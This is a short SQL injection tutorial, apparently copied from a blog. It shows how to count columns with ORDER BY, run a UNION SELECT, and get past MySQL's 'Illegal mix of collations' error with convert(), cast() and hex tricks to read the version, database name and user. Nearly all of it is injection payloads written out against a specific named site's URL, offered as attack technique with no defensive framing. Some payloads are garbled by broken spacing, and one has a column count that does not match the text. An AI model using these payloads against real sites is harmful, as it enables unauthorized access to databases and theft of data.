SQL Injection tips-An error occurred while bypassing & quot; Illegal mix of collations & quot;

Immediately started counting the columns:
 
Code:
Http://www.bkjia.com/news_dett.php? Id = 30 + ORDER + BY + 9 --
Column 9 we have the error "SQL Error: Unknown column '9' in 'order clause" then the columns are 8 :)
 
Proceed with a union based injection:
Code:
Http://www.bkjia.com/news_dett.php? Id =-30 + UNION + SELECT + 1, 2, 4, 5, 6, 7, 8 --
In our case the columns 1,6, 7,8 are vulnerable
 
Proceed trying to find the version of MySQL:
Code:
Http://www.bkjia.com/news_dett.php? Id =-30 + UNION + SELECT + 1, 2, 3, 4, 5, version (), 7, 8 --
 
At this point our error appears
Code:
SQL Error: Illegal mix of collations (latin1_swedish_ci, IMPLICIT) and (utf8_general_ci, SYSCONST) for operation 'Union'
 
There are 3 ways to bypass this error:
Convert (version () using latin1)
Aes_decrypt (aes_encrypt (version (), 1), 1)
Unhex (hex (@ version ))
 
Other ways (Thanks to benzi ):
Cast (version () + as + binary)
Convert (version (), binary)
Convert (version () + using + binary)
 
See examples:
Version:
Code:
Http://www.bkjia.com/news_dett.php? Id =-30 + UNION + SELECT + 1, 2, 4, 5, convert (version () using latin1), 7, 8 --
 
Database:
Code:
Http://www.bkjia.com/news_dett.php? Id =-30 + UNION + SELECT + 1, 2, 4, 5, convert (database () using latin1), 7, 8 --
 
User:
Code:
Http://www.bkjia.com/news_dett.php? Id =-30 + UNION + SELECT + 1, 2, 4, 5, convert (user () using latin1), 7, 8 --


From: http://hi.baidu.com/evilrapper/blog/item/98c3b2d1537991cc572c849c.html